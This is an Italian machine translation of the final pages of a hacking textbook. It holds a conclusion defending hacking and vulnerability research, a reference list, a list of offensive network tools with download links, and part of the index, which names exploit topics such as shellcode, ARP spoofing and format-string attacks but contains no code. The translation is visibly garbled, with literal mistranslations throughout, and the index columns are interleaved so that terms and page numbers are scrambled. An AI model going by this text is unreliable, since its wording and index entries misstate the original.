0x800 CONCLUSIONE

L'hacking tende ad essere un argomento frainteso e il file


ai media piace sensazionalizzare, il che non fa che esacerbare
questa condizione. Ci sono stati cambiamenti nella terminologia
per lo più inefficace: ciò che serve è un cambiamento in
mentalita. Gli hacker sono solo persone con uno spirito innovativo e un approfondimento
conoscenza della tecnologia. Gli hacker non sono necessariamente criminali, anche se come
finché il crimine ha il potenziale per pagare, ci saranno sempre alcuni criminali
chi sono gli hacker. Non c'è niente di sbagliato nella conoscenza stessa degli hacker,
nonostante le sue potenziali applicazioni.
Piaccia o no, esistono vulnerabilità nel software e nelle reti che il
il mondo dipende di giorno in giorno. È semplicemente un risultato inevitabile del digiuno
ritmo di sviluppo del software. All'inizio il nuovo software ha spesso successo, anche se
ci sono vulnerabilità. Questo successo significa denaro, che attira i criminali
che imparano a sfruttare queste vulnerabilità per guadagni finanziari. Questo sembra
come se fosse una spirale discendente senza fine, ma fortunatamente, tutte le persone
trovare le vulnerabilità nel software non è solo orientato al profitto, dannoso
criminali. Queste persone sono hacker, ciascuno con le proprie motivazioni; alcuni
sono spinti dalla curiosità, altri sono pagati per il loro lavoro, altri ancora proprio come il
sfida, e molti sono, in effetti, criminali. La maggior parte di queste persone

Pagina 466

non avere intenti dannosi; invece, aiutano i fornitori a riparare i loro vulnerabili
Software. Senza hacker, le vulnerabilità e le falle nel software lo sarebbero
rimangono da scoprire. Purtroppo, il sistema legale è lento e per lo più
ignorante per quanto riguarda la tecnologia. Spesso vengono approvate leggi draconiane e
vengono date frasi eccessive per cercare di spaventare le persone dal guardare
strettamente. Questa è una logica infantile: scoraggiare gli hacker dall'esplorare e
la ricerca di vulnerabilità non risolve nulla. Convincere tutti i
l'imperatore indossa abiti nuovi e fantasiosi non cambia la realtà che lui è
nudo. Le vulnerabilità non scoperte stanno solo aspettando qualcuno molto di più
dannoso di un hacker medio per scoprirli. Il pericolo del software
vulnerabilità è che il carico utile potrebbe essere qualsiasi cosa. Replica di Internet
i vermi sono relativamente benigni rispetto al terrorismo da incubo
scenari di cui queste leggi fanno così paura. Limitare gli hacker con le leggi può
rendere gli scenari peggiori più probabili, poiché lascia più da scoprire
vulnerabilità che devono essere sfruttate da coloro che non sono vincolati dalla legge e
voglio fare un danno reale.
Qualcuno potrebbe sostenere che se non ci fossero gli hacker, non ci sarebbe
motivo per correggere queste vulnerabilità non scoperte. Questa è una prospettiva, ma
personalmente preferisco il progresso alla stagnazione. Gli hacker giocano un ruolo molto importante
ruolo nella coevoluzione della tecnologia. Senza hacker, ci sarebbe poco
motivo per migliorare la sicurezza del computer. Inoltre, finché le domande
"Perché?" e "E se?" viene chiesto, gli hacker esisteranno sempre. Un mondo senza
gli hacker sarebbero un mondo senza curiosità e innovazione.
Si spera che questo libro abbia spiegato alcune tecniche di base di hacking e
forse anche lo spirito di esso. La tecnologia è in continua evoluzione ed espansione,
quindi ci saranno sempre nuovi hack. Ci saranno sempre nuove vulnerabilità in
software, ambiguità nelle specifiche del protocollo e una miriade di altri
attrazioni. La conoscenza acquisita da questo libro è solo un punto di partenza. Tocca a
di espanderlo scoprendo continuamente come funzionano le cose, chiedendoti
sulle possibilità e pensando alle cose che gli sviluppatori non hanno fatto
pensa a. Sta a te trarre il meglio da queste scoperte e applicarle
conoscenza come meglio credi. L'informazione in sé non è un crimine.

Riferimenti 0x810

Aleph1. "Smashing the Stack for Fun and Profit." Phrack , no. 49, pubblicazione online
lication su http://www.phrack.org/issues.html?issue=49&id=14#article
Bennett, C., F. Bessette e G. Brassard. "Quantum sperimentale
Crittografia." Journal of Cryptology , vol. 5, n. 1 (1992), 3–28.
Borisov, N., I. Goldberg e D. Wagner. "Sicurezza dell'algoritmo WEP".
Pubblicazione in linea all'indirizzo http://www.isaac.cs.berkeley.edu/isaac/
wep-faq.html
Brassard, G. e P. Bratley. Fondamenti di algoritmi . Englewood Cliffs, NJ:
Prentice Hall, 1995.

452 0x800

Pagina 467
Notizie CNET. "La crittografia a 40 bit non presenta problemi." Pubblicazione in linea su
http://www.news.com/News/Item/0,4,7483,00.html
Conover, M. (Shok). "W00w00 su Heap Overflow". Pubblicazione in linea su
http://www.w00w00.org/files/articles/heaptut.txt
Electronic Frontier Foundation. "Felten vs. RIAA." Pubblicazione in linea su
http://www.eff.org/IP/DMCA/Felten_v_RIAA
Eller, R. (caezar). “Bypassare i filtri dati MSB per gli exploit di overflow del buffer
sulle piattaforme Intel ". Pubblicazione in linea su http: //community.core-sdi
.com / ~ juliano / bypass-msb.txt
Fluhrer, S., I. Mantin e A. Shamir. “Punti deboli nella programmazione delle chiavi
Algoritmo di RC4. " Pubblicazione online su http://citeseer.ist.psu.edu/
fluhrer01weaknesses.html
Grover, L. “La meccanica quantistica aiuta nella ricerca di un ago in a
Pagliaio." Physical Review Letters , vol. 79, n. 2 (1997), 325-28.
Joncheray, L. "Simple Active Attack Against TCP." Pubblicazione in linea su
http://www.insecure.org/stf/iphijack.txt
Levy, S. Hackers: Heroes of the Computer Revolution . New York: Doubleday, 1984.
McCullagh, D. "Russian Adobe Hacker Busted", Wired News , 17 luglio 2001.
Pubblicazione in linea su http://www.wired.com/news/politics/
0,1283,45298,00.html
Il team di sviluppo NASM. “NASM — The Netwide Assembler
(Manual), "versione 0.98.34. Pubblicazione in linea su http: // nasm
.sourceforge.net
Rieck, K. “Impronte digitali fuzzy: attaccare le vulnerabilità nell'essere umano
Cervello." Pubblicazione in linea su http://freeworld.thc.org/papers/ffp.pdf
Schneier, B. Crittografia applicata: protocolli, algoritmi e codice sorgente in C ,
2a ed. New York: John Wiley & Sons, 1996.
Scut e il Team Teso. "Sfruttare le vulnerabilità delle stringhe di formato", versione 1.2.
Disponibile online sui siti web degli utenti privati.
Shor, P. “Algoritmi tempo-polinomiali per fattorizzazione primi e discreti
Logaritmi su un computer quantistico ". SIAM Journal of Computing , vol. 26
(1997), 1484–509. Pubblicazione in linea su http://www.arxiv.org/abs/
quant-ph / 9508027
Smith, N. "Stack Smashing Vulnerabilities in the UNIX Operating System."
Disponibile online sui siti web degli utenti privati.
Designer solare. "Come spostarsi nello stack non eseguibile (e correzione)." BugTraq
post, 10 agosto 1997.
Stinson, D. Cryptography: Theory and Practice . Boca Raton, FL: CRC Press, 1995.
Zwicky, E., S. Cooper e D. Chapman. Creazione di firewall Internet, 2a ed.
Sebastopol, CA: O'Reilly, 2000.

Conclusione 453

Pagina 468

0x820 Fonti
pcalc
Una calcolatrice per programmatore disponibile da Peter Glen

http://ibiblio.org/pub/Linux/apps/math/calc/pcalc-000.tar.gz

NASM
Il Netwide Assembler, dal NASM Development Group

http://nasm.sourceforge.net

nemesi
Uno strumento di iniezione di pacchetti da riga di comando di Obecian (Mark Grimes) e
Jeff Nathan

http://www.packetfactory.net/projects/nemesis

dsniff
Una raccolta di strumenti per lo sniffing della rete da Dug Song

http://monkey.org/~dugsong/dsniff

Dissembler
Un polimero bytecode ASCII stampabile da Matrix (Jose Ronnick)

http://www.phiral.com

mitm-ssh
Uno strumento SSH man-in-the-middle di Claes Nyberg

http://www.signedness.org/tools/mitm-ssh.tgz

ffp
Uno strumento per la generazione di impronte digitali sfocate di Konrad Rieck

http://freeworld.thc.org/thc-ffp

John lo Squartatore
Un password cracker di Solar Designer

http://www.openwall.com/john
454 0x800

Pagina 469

INDICE

Simboli e numeri Registro dell'accumulatore (EAX), 24, 346


azzeramento, 368
& ( e commerciale)
Bandiera ACK, 223
per indirizzo dell'operatore, 45
filtro per, 260
per il processo in background, 347
sniffing attivo, 239–251
<> (parentesi angolari), per includere
aggiungere istruzioni, 293
file, 91
Protocollo di risoluzione degli indirizzi (ARP),
= (operatore di assegnazione), 12
219, 240
* (asterisco), per i puntatori, 43
avvelenamento da cache, 240
\ (barra rovesciata), per caratteri di escape
reindirizzamento, 240
carattere, 180
messaggi di risposta, 219
{} (parentesi graffe), per set di
spoofing, 243
istruzioni, 8, 9
messaggi di richiesta, 219
$ (qualificatore del segno di dollaro) e diretto
indirizzo dell'operatore, 45, 47, 98
accesso ai parametri, 180
addressof.c programma, 46
== (uguale all'operatore), 14
programma addressof2.c, 47
! (punto esclamativo), 14
addr_struct.c file, 348–349
> (operatore maggiore di), 14
account amministratore, 88. Vedi anche
> = (maggiore o uguale a
root, utente
operatore), 14
AES (Rijndael), 398
< (operatore minore di), 14
AF_INET, struttura dell'indirizzo del socket
<= (operatore minore o uguale a), 14
per, 201–202
! = (non uguale a operatore), 14
aircrack, 448–449
! (non operatore), 14
AirSnort, 439
% (segno di percentuale), per il formato
algoritmo, efficienza di, 398
parametro, 48
tempo di esecuzione algoritmico, 397–398
" (virgolette), per includere
e commerciale ( & )
file, 91
per indirizzo dell'operatore, 45
; (puntoe virgola), per fine istruzione, 8
per il processo in background, 347
Variabile $ 1 , 31
attacchi di amplificazione, 257
S-box 8x8, 435
AND operazione bit per bit, 366
Schema di indirizzamento a 32 bit, 22
e istruzione, 293
Schema di indirizzamento a 64 bit, 22
Operatore AND, 14-15
Risposta HTTP 404, 213
<> (parentesi angolari), per includere
file, 91
UN livello di applicazione (OSI), 196
funzione accept () ,
199, 206 vettore argomento, 59
modalità di accesso per file, 84 operatori aritmetici, 12-14

Pagina 470

ARP. Vedere Protocollo di risoluzione degli indirizzi Registro Base Pointer (EBP), 24, 31,
(ARP) 70, 73, 344–345
funzione arp_cmdline () , 246 salvataggio dei valori correnti, 342
ARPhdr struttura, 245-246 Shell BASH, 133-150, 332
funzione arp_initdata () , 246 sostituzione dei comandi, 254
funzione arp_send () , 249 indagini con, 380–384
programma arpspoof.c, 249-250, 408 per i loop, 141–142
funzione arp_validatedata () , 246 script per inviare risposte ARP, 243–244
funzione arp_verbose () , 246 BB84, 396
array in C, 38 programma calcolatore bc , 30
espressione artistica, programmazione come, 2 bellezza, in matematica, 3
ASCII, 33–34 Bennett, Charles, 396
funzione per la conversione in Berkeley Packet Filter (BPF), 259
intero, 59 ordine dei byte big-endian, 202
per indirizzo IP, conversione, 203 notazione big-oh, 398
ASLR, 379-380, 385, 388 bind call, struttura host_addr per, 205
programma aslr_demo.c, 380 funzione bind () , 199
programma aslr_execl.c, 389 bind_port.c programma, 303-304
programma aslr_execl_exploit.c, programma bind_port.s, 306-307
390–391 programma bind_shell.s, 312–314
assemblatore, 7 programma bind_shell1.s, 308
linguaggio assembly, 7, 22, 25–37 / bin / sh, 359
GDB esamina il comando da visualizzare chiamata di sistema da eseguire, 295
istruzioni, 30 paradosso del compleanno, 437
struttura if-then-else in, 32 operazioni bit per bit, 84
Chiamate di sistema Linux in, 284–286 programma bitwise.c, 84-85
per codice shell, 282–286 cifratura a blocchi, 398
sintassi, 22 Blowfish, 398
operatore di assegnazione ( = ), 12 Bluesmack, 256
asterisco ( * ), per i puntatori, 43 Protocollo Bluetooth, 256
crittografiaasintotica,
notazione asimmetrica,
398 400–405 LiveCD258
botnet, avviabile. Vedi LiveCD
Sintassi AT&T per l'assembly bot, 258
lingua, 22 BPF (Berkeley Packet Filter), 259
funzione atoi () ,
59 Brassard, Gilles, 396
programma auth_overflow.c, 122–125 punto di interruzione, 24, 27, 39, 342, 343
programma auth_overflow2.c, 126–133 indirizzo di trasmissione, per l'amplificazione
attacchi, 257
B attacchi di forza bruta, 436–437
esaustivo, 422–423
barra rovesciata ( \ ), per caratteri di escape segmento bss, 69, 77
carattere, 180 per memoria variabile C, 75
backtrace comando bt , 40
di chiamate di funzioni annidate, 66 buffer overflow, 119–133, 251
di pila, 40, 61, 274 sostituzione dei comandi e Perl a
larghezza di banda, ping flood a generare, 134–135
consumare, 257 in segmenti di memoria, 150–167
Registro di base (EBX), 24, 344–345 vulnerabilità del programma notesearch.c
salvataggio dei valori correnti, 342 capacità di, 137–142
vulnerabilità basate sullo stack, 122–133

456 INDICE

Pagina 471

buffer overrun, 119 funzione close () ,


descrittore di file per, 82
tamponi, 38 porte chiuse, risposta con SYN / ACK
restrizioni del programma su, 363–376 pacchetti, 268
funzione buildarp () ,
246 operazione cmp , 26, 32, 310, 311
byte, 21 segmento di codice, 69
contatore di byte, incrementale, 177 CodeRed worm, 117, 319
ordine dei byte dell'architettura, 30 riga di comando, Perl da eseguire
conversione, 238 istruzioni, 133
prompt dei comandi, indicatore di ritorno
C lavori a terra, 332
argomenti della riga di comando, 58–61
Compilatori C, 19 commandline.c programma, 58–59
libero, 20 comandi
tipi di dati variabili e, 58 eseguire single come utente root, 88
Linguaggio di programmazione C. sostituzione e Perl per generare
indirizzo dell'operatore, 45 buffer overflow, 134–135
stenografia degli operatori aritmetici, 13 commenti, nel programma C, 19
rispetto al linguaggio assembly, 282 operatori di confronto, 14-15
Operazioni booleane, 15 codice compilato, 20
commenti, 19 compilatore, 7
strutture di controllo, 309-314 potenza di calcolo, rispetto allo storage
accesso ai file in, 81-86 spazio, 424
funzioni in, 16 sicurezza computazionale, 396
segmenti di memoria, 75-77 probabilità condizionata, 114
responsabilità del programmatore per i dati dichiarazioni condizionali,
integrità, 119 variabili in, 14
chiamata istruzione, 287 confusione, 399
byte nulli da, 290 funzione connect () , 199, 213, 314
funzione di callback, 235 codice shell connect-back, 314–318
ritorno a capo, per la terminazione della linea programma connectback-shell.s,
in HTTP, 209 314–315
Funzione catch_packet () , 236, 237
connettività, ICMP da testare, 221
CD con libro. Vedi LiveCD costanti, 12
istruzione cdq , 302 costruttori (.ctors), tabella
tipo di dati char , 12, 43 sezioni per, 184–188
matrice di caratteri (C), 38 programma convert.c, 59-60
binario eseguibile char_array , 38 Legge sul copyright, 118
programma char_array.c, 38 core dump, 289
funzione check_authentication () , Registro contatore (ECX), 24
122, 125 contromisure
stack frame per, 128–129 per il rilevamento degli attacchi, 320
processo figlio, guscio della radice di deposizione delle uova
limitazioni del buffer, 363–376
con, 346 indurimento, 376
comando chmod , 88 file di registro e, 334–336
comando chown , 90 stack non eseguibile, 376–379
comando chsh , 89 trascurando ovvio, 336-347
funzione cleanup () , 184
daemon di sistema, 321–328
client_addr_ptr , 348, 349
strumenti, 328–333
e crash, 353 cracker, 3

INDICE 457

Pagina 472

incidente, 61, 128 variabile di stack, 76


da buffer overflow, 120 variabili, 12
e client_addr_ptr , 353 funzione decode_ethernet () ,
237
dagli attacchi DoS, 251 funzione decode_ip () , 237
dalla memoria fuori limite file decode_sniff.c, 235–239
indirizzi, 60 funzione decode_tcp () , 236, 237
CRC32 (checksum di ridondanza ciclico) decoerenza, 399
funzione, 434 gateway predefinito, reindirizzamento ARP
attività criminale, 451–452 e 241
funzione crypt () , 153, 418 Denial of Service (DoS), 251–258
valori di sale, 423 attacchi di amplificazione, 257
crittoanalisi, 393 inondazioni DoS distribuite, 258
programma crypt_crack.c, 420 ping inondazioni, 257
crittografia, 393 ping di morte, 256
leggi restrittive, 3 Inondazioni
lacrima, 256 SYN, 252–256
crittologia, 393
programma crypt_test.c, 418 operatore di dereferenziazione, 47
.ctors (costruttori), sezioni di tabella indirizzo di carico di, 297
per, 184–188 DES, 398
parentesi graffe ( {} ), per set di Registro dell'indice di destinazione (EDI), 24
istruzioni, 8, 9 distruttori (.dtors)
variabile current_time , 97 visualizzazione dei contenuti, 185
gestori di segnali personalizzati, 322 sezione sovrascrittura con indirizzo di
comando di taglio , 143–144 shellcode iniettato, 190
checksum di ridondanza ciclico sezioni di tabella per, 184–188
(CRC32) funzione, 434 Deutsch, Peter, 2
Cynosure, 118 attacchi del dizionario, 419–422
tabelle dizionario, basate su IV
D decrittazione, 438
diffusione, 399
funzione daemon () ,321 Digital Millennium Copyright Act
daemons, 321 (DCMA) del 1998, 3
Registro dati (EDX), 24, 361 accesso diretto ai parametri, 180–182
integrità dei dati, responsabilità del programmatore directory, per i file include, 91
bilità per, 119 Dissembler, 454
segmento di dati, 69 inondazioni DoS distribuite, 258
per memoria variabile C, 75 divisione, resto dopo, 12
tipi di dati, di variabili, 12 DNS (Domain Name Service), 210
buffer del file di dati , 151–152 qualificatore segno di dollaro ( $ ) e diretto
presa del datagramma, 198 accesso ai parametri, 180
livello di collegamento dati (OSI), 196, 197 DoS. Vedere Denial of Service (DoS)
per browser web, 217, 218–219 notazione con numeri puntati, 203
programma datatype_sizes.c, 42–43 doppia parola (DWORD), 29
DCMA (Digital Millennium Copy- conversione in quadword, 302
legge destra) del 1998, 3 programma drop_privs.c, 300
debugger, 23-24 programma DSNIFF , 226, 249, 454
dichiarando .dtors (distruttori)
funzione distruttore, 184 visualizzazione dei contenuti, 185
funzioni con tipo di dati di ritorno sezione sovrascrittura con indirizzo di
valore, 16-17 shellcode iniettato, 190
variabile heap, 76 sezioni di tabella per, 184–188

458 INDICE

Pagina 473

dtors_sample.c, 184 Registro ESI (Source Index), 24


funzione dump () , 204 Registro ESP (Stack Pointer), 24, 33,
chiamata di sistema dup2 , 307 70, 73
DWORD (doppia parola), 29 shellcode e, 367
conversione in quadword, 302 / etc / passwd file, 89, 153
/ etc / services file, porte predefinite in,
E 207–208
ETHERhdr struttura, 245–246
Registro EAX (accumulatore), 24, Ethernet, 218, 230
312, 346 intestazione per, 230
azzeramento, 368 lunghezza di, 231
Registro EBP (Base Pointer), 24, 31, Algoritmo euclideo, 400–401
70, 73, 344–345 esteso, 401–402
salvataggio dei valori correnti, 342 Funzione totale di Eulero, 400, 403
Registro EBX (base), 24, 312, 344–345 esaminare il comando (GDB)
salvataggio dei valori correnti, 342 per la ricerca in tabella ASCII, 34–35
funzione ec_malloc () , 91 da visualizzare smontato
Registro ECX (contatore), 24 istruzioni, 30
Registro EDI (indice di destinazione), 24 dimensioni dell'unità di visualizzazione per, 28–29
Registro EDX (dati), 24, 361 per la memoria, 27-28
Registro EFLAGS, 25 punto esclamativo ( ! ), 14
Registro EIP. Vedere il puntatore delle istruzioni funzione execl () , 149, 389, 390
Registro (EIP)
funzione execle () , 149
eleganza, 2, 6 programma exec_shell.c, 296
incapsulamento, 196 programma exec_shell.s, 297
file encoded_sockreuserestore_dbg.s, binari eseguibili, 21
360–361 creazione da codice assembly, 286
crittografia, 393 eseguire il permesso, 87
asimmetrico, 400–405 flusso di esecuzione, controllo, 118
dimensione massima consentita della chiave in esecuzione di codice arbitrario, 118
software esportato, 394 funzione execve () , 295–296, 388–389
simmetrico, 398-400 struttura per, 298
wireless 802.11b, 433–436 attacchi di forza bruta esaustivi,
comando env , 142 422–423
variabili d'ambiente, 142 exit, esecuzione automatica
visualizzazione della posizione, 146 funzione attiva, 184
per sfruttare, 148 funzione exit () , 191, 286
PERCORSO, 172 indirizzo di, 192
inserendo lo shellcode, 188 buffer di exploit, 332
randomizzazione dello stack programmi di exploit, 329
posizione, 380 script di exploit, 328–333
per riporre lo spago, 378 strumenti di exploit, 329
epoca, 97 sfruttamento, 115
uguale a operatore ( == ), 14 con BASH, 133-150
controllo degli errori, per malloc () , 79, 80-81 buffer overflow, 119–133
programma errorchecked_heap.c, 80-81 stringhe di formato, 167–193
errori, uno dopo l'altro, 116-117 accesso diretto ai parametri,
sequenze di escape, 48 180–182
carattere di escape, barra rovesciata ( \ ) lettura dalla memoria arbitraria
per, 180 indirizzi, 172

INDICE 459

Pagina 474
sfruttamento, ha continuato impronte digitali
stringhe di formato, continua sfocato, 413–417
con brevi scritti, 182–183 host, per SSH, 410–413
vulnerabilità, 170–171 firewall e binding di porte
scrivere in una memoria arbitraria codice shell, 314
indirizzi, 173–179 ordinazione first-in, last-out (FILO), 70
tecniche generali, 118 programma firstprog.c, 19
overflow basato su heap, 150–155 tipo di dati float , 12, 13, 43
jackpot () funziona come target, servizi di inondazione, da attacchi DoS, 251
160–166 flusso di esecuzione, operazioni
puntatori a funzioni traboccanti, controllo, 26
156–167 Fluhrer, Mantin e Shamir (FMS)
sovrascrivere la tabella offset globale, attacco, 439–449
190–193 programma fms.c, 443–445
senza file di registro, 352–354 programma fmt_strings.c, 48–49
programma exploit_notesearch.c, 121 programma fmt_uncommon.c, 168
programma exploit_notesearch_env.c, programma fmt_vuln.c, 170–171
149–150 funzione fopen () , 419
algoritmo euclideo esteso, per i loop, 10-11
401–402 con istruzioni di montaggio, 309–310
per riempire il buffer, 138
F comando in primo piano ( fg ), 158, 332
errori fatali, visualizzazione, 228 indirizzo sorgente di falsificazione, 239
funzione fatale () , 83, 91 funzione fork () , 149, 346

fcntl_flags.c programma, 85-86 parametri di formato, 48


File fcntl.h, 84 stringhe di formato, 167–193
Rete Feistel, per DES, 399 memoria per, 171
Felten, Edward, 3 per la funzione printf () , 48–51
errore di fencepost, 116 scritture brevi per exploit, 182–183
ffp , 454
semplificare gli exploit con direct
Comando fg (primo piano), 158, 332 accesso ai parametri, 180–182
funzione fgets () , 419
vulnerabilità, 170–171
opzione di larghezza di campo, per il formato FP (frame pointer), 70
parametro, 49 funzione fprintf () , per errore

accesso ai file, in C, 81–86 messaggi, 79


descrittori di file, 81 attacchi fraggle, 257
standard di duplicazione, 307-309 pacchetti di frammentazione, 221
in Unix, 283 IPv6, 256
Risposta HTTP File non trovato, 213 puntatore fotogramma (FP), 70
permessi sui file, 87–88 funzione free () ,
77, 79, 152
Protocollo di trasferimento file (FTP), 222 libertà di parola, 4
server, 226 FTP (File Transfer Protocol), 222
filestreams, 81 server, 226
Ordinazioni FILO (first-in, last-out), 70 programma funcptr_example.c, 100
filtro, per pacchetti, 259 funzionalità, espansione e
Scansioni FIN, 264-265 errori, 117
dopo la modifica del kernel, 268 funzioni, 16-19
prima della modifica del kernel, esecuzione automatica su
267–268 uscita, 184
programma find_jmpesp.c, 386 punto di interruzione in, 24

460 INDICE

Pagina 475

dichiarando nulla , 17 funzione gethostbyname () ,


210, 211
per il controllo degli errori, 80–81 funzione getuid () ,
89, 92
biblioteche di, 19 Glen, Peter, 454
variabili locali per, 62 glibc, gestione della memoria heap, 152
memoria, puntatore a stringa tabella offset globale (GOT),
riferendosi, 228 sovrascrittura, 190–193
puntatori, 100–101 variabili globali, 63, 64, 75
chiamando senza sovrascrivere, 157 indirizzi di memoria, 69
traboccante, 156-167 segmento di memoria per, 69
prologo, 27, 71, 132 Raccolta di compilatori GNU (GCC), 20.
salvataggio del registro corrente Vedi anche Debugger GDB
valori, 342 compilatore, accesso GDB ai sorgenti
prototipo, 17 codice, 26
per la manipolazione delle corde, 39 programma objdump , 21, 184, 185
impronte sfocate, 413–417 Goldberg, Ian, 394
GOT (tabella offset globale),
G sovrascrittura, 190–193
operatore maggiore di ( > ), 14
programma game_of_chance.c, 102–113, maggiore o uguale a
156–167 operatore ( > = ), 14
gateway, 241 massimo comune divisore (MCD), 401
GCC. Vedi GNU Compiler Collection Grecia, antica, 3
(GCC)
comando grep , 21, 143–144
MCD (massimo comune divisore), 401 per trovare il codice del kernel che invia reset
Debugger GDB, 23–24 pacchetti, 267
indirizzo dell'operatore, 45 Grimes, Mark, 242, 454
analisi con, 273-275 gruppi, autorizzazioni file per, 87
per controllare l'esecuzione di tinywebd Grover, Lov, 399-400
processo, 350–352
per eseguire il debug del processo figlio del demone,
H
330–331
sintassi di disassemblaggio, 25 Etica hacker, 2
visualizzazione delle variabili locali nello stack pirateria informatica, 272-280
telaio, 66 analisi con GDB, 273-275
esaminare il comando atteggiamenti verso, 451
per la ricerca in tabella ASCII, 34–35 e programma compilato, 21
da visualizzare smontato ciclo di innovazione, 319
istruzioni, 30 essenza di, 1–2
per la memoria, 27-28 origini, 2
investigando il nucleo con, 289-290 codice shell di collegamento alla porta, 278-280
indagini con, 380–384 come problem solving, 5
comando di stampa , 31 e controllo dei crash del programma, 121
comandi stenografici, 28 hacking.h file, che si aggiunge a, 204
comando stepi , 384 file hacking-network.h, 209–210, 231,
File .gdbinit, 25 232, 272–273
registri di uso generale, 24 hack, 6
Comando GET (HTTP), 208 scansione semiaperta, 264
funzione getenv () , 146 funzione handle_connection () , 216, 342
programma getenvaddr.c, 147–148, 172 punto di interruzione nella funzione, 274-275
funzione geteuid () , 89 funzione handle_shutdown () , 328
INDICE 461

Pagina 476

indirizzi hardware, 218 struttura if-then-else, 8-9


tabella di ricerca hash, 423–424 in linguaggio assembly, 32
comando capo , 143–144 in_addr struttura, 203
Comando HEAD (HTTP), 208 indirizzo IP di connessione in, 315–316
mucchio, 70 operazione inclusa , 25, 36
funzione di allocazione per, 75 include file, per le funzioni, 91
buffer overflow in, 150–155 connessione in entrata
crescita di, 75 Funzione C per accettare, 199
allocazione della memoria, 77 ascoltando, 316
variabile valori di variabili incrementali, 13–14
dichiarando, 76 funzione inet_aton () ,
203
spazio assegnato per, 77 funzione inet_ntoa () ,
203, 206
programma heap_example.c, 77–80 comando eip registro info , 28
Principio di indeterminazione di Heisenberg, 395 teoria dell'informazione, 394–396
“Hello, world!”, Programma da stampare, 19 vettore di inizializzazione (IV)
programma helloworld1.s, 287–288 raduno, 449
programma helloworld3.s, 294 per WEP, 434, 437, 440
programma helloworld.asm, 285–286 tabelle del dizionario di decrittazione
helloworld.c, riscrivi in ​assembly, 285 basato su, 438
Herfurt, Martin, 256 input, controllo della lunghezza o
dump esadecimale, di standard restrizione su, 120
codice shell, 368 dimensione dell'input, per l'algoritmo, 397
notazione esadecimale, 21 convalida dell'input, 365
lingue di alto livello, conversione in programma input.c, 50
linguaggio macchina, 7 funzione input_name () , 156
Holtmann, Marcel, 256 Registro EIP (Instruction Pointer), 25,
impronte digitali host, per SSH, 410–413 27, 40, 43, 69, 73
chiave host, recupero dai server, 414 istruzioni di montaggio e, 287
struttura host_addr , per bind call, 205 crash dal tentativo di ripristino, 133
hostent struttura, 210-211 esaminando la memoria per, 28
file host_lookup.c, 211–212 come indicatore, 43
funzione htonl () , 202 esecuzione del programma e, 69
funzione htons () , 203, 205 shellcode e, 367
HTTP (Hypertext Transfer Protocol), tipo di dati int , 12
197, 207–208, 222 istruzione int , 285
cifrari ibridi, 406–417 interi, funzione per la conversione
Protocollo di trasferimento ipertestuale (HTTP), ASCII a, 59
197, 207–208, 222 Sintassi Intel per il linguaggio assembly,
22, 23, 25
io Internet Control Message Protocol
(ICMP), 220-221
ICMP. Vedere Messaggio di controllo Internet attacchi di amplificazione con
Protocollo (ICMP) pacchetti, 257
comando id , 88 messaggi di eco, 256
scansione inattiva, 265-266 Richiesta eco, 221
IDS (sistemi di rilevamento delle intrusioni), Intestazione datagramma Internet, 232
4, 354 Internet Explorer, VML zero-day
istruzione if , in BASH, 381 vulnerabilità, 119
comando ifconfig , 316 Internet Information Server
per l'impostazione della modalità promiscua, 224 (Microsoft IIS), 117

462 INDICE

Pagina 477

Protocollo Internet (IP), 220 L


indirizzi, 197, 220
LaMacchia, David, 118
conversione, 203
LaMacchia Loophole, 117–118
livello di collegamento dati e 218–219
Laurie, Adam, 256
in tronchi, 348
Puntatore LB (base locale), 70
reindirizzamento, 438–439
lea (Carica indirizzo effettivo)
spoofing registrato, 348-352
istruzioni, 35, 296
ID, prevedibile, 265
byte meno significativo, 174, 178
struttura, 231
lasciare l' istruzione, 132
interrompi 0x80 , 285
operatore minore di ( < ), 14
sistemi di rilevamento delle intrusioni (IDS),
operatore minore o uguale a ( <= ), 14
4, 354
libc, ritornando in, 376–377
sistemi di prevenzione delle intrusioni
funzione libc, ricerca della posizione,
(IPS), 354
377–378
intrusioni
libreria libnet (C), 244
file di registro e rilevamento, 334–336
documentazione per funzioni,
trascurando ovvio, 336-347
248–249
IP. Vedi protocollo Internet (IP)
rilascio, 254
IPS (prevenzione delle intrusioni
strutture, 263
sistemi), 354
funzione libnet_build_arp () , 248–249
comando iptables, 407
funzione libnet_build_ethernet () , 248
Pacchetti IPv6, frammentati, 256
libnet_close_link_interface ()
IV. Vedi vettore di inizializzazione (IV)
funzione, 249
programma libnet-config, 254
J funzione libnet_destroy_packet () , 249

funzione jackpot () ,
come obiettivo dell'exploit, funzione libnet_get_hwaddr () , 251

160–166 funzione libnet_get_ipaddr () , 251

operazione jle , 32, 310 funzione libnet_get_prand () , 252

istruzioni jmp esp , 385 funzione libnet_host_lookup () , 251

indirizzo prevedibile per, 388 funzione libnet_init_packet () , 248


libnet_open_link_interface ()
jmp breve istruzione, 292
comando jobs , 332 funzione, 248
John the Ripper, 422, 454 funzione libnet_seed_prand () , 252
salti in linguaggio assembly, 26 sniffer libpcap, 228-230, 235, 260
biblioteche
condizionale, 310
incondizionato, 36 documentazione, 251
di funzioni, 19
Ambiente Linux, 19
K
avvio da CD, 4
Key Scheduling Algorithm (KSA), stack non eseguibile, 376
435, 440–442 chiamate di sistema in assembly, 284–286
keystream, 398 linux-gate
riutilizzo, 437–438 rimbalzando, 384–388
comando kill , 323, 324 l'esecuzione passa a, 386
conoscenza e moralità, 4 linux / net.h include file, 304–305
file known_hosts , 410 funzione Listen () ,
199, 206
KSA (Key Scheduling Algorithm), ordine dei byte little-endian, 29, 93, 316
435, 440–442

INDICE 463

Pagina 478

LiveCD, 4, 19 file mark_break.s, 342–343


John the Ripper, 422 file mark_restore.s, 345
Nemesis, 242 file mark.s, 339
/ usr / src / mitm-ssh, 407 matematica, bellezza in, 3
Carica istruzione indirizzo effettivo Maxwell, James, 321
( lea ), 35, 296 Media Access Control (MAC)
puntatore base locale (LB), 70 indirizzi, 218
variabili locali, 62 funzione memcpy () , 139
visualizzazione in stack frame, 66 memoria, 21-22
indirizzi di memoria, 69 indirizzi
memoria salvata per, 130 notazione esadecimale per, 21
funzione localtime_r () , 97 ordine di, 75
log files lettura da arbitrario, 172
sfruttamento senza, 352-354 scrivendo ad arbitrario, 173–179
e rilevamento delle intrusioni, 334-336 allocazione per puntatore vuoto, 57
logica, come forma d'arte, 2 corruzione, 118
parola chiave lunga , 42 efficienza, rispetto al tempo per la codifica, 6
indirizzo di loopback, 217, 317–318 per stringa di formato, 171
file loopback_shell_restore.s, 346–347 Debugger GDB da esaminare, 27-28
file loopback_shell.s, 318 istruzioni per la configurazione, 27
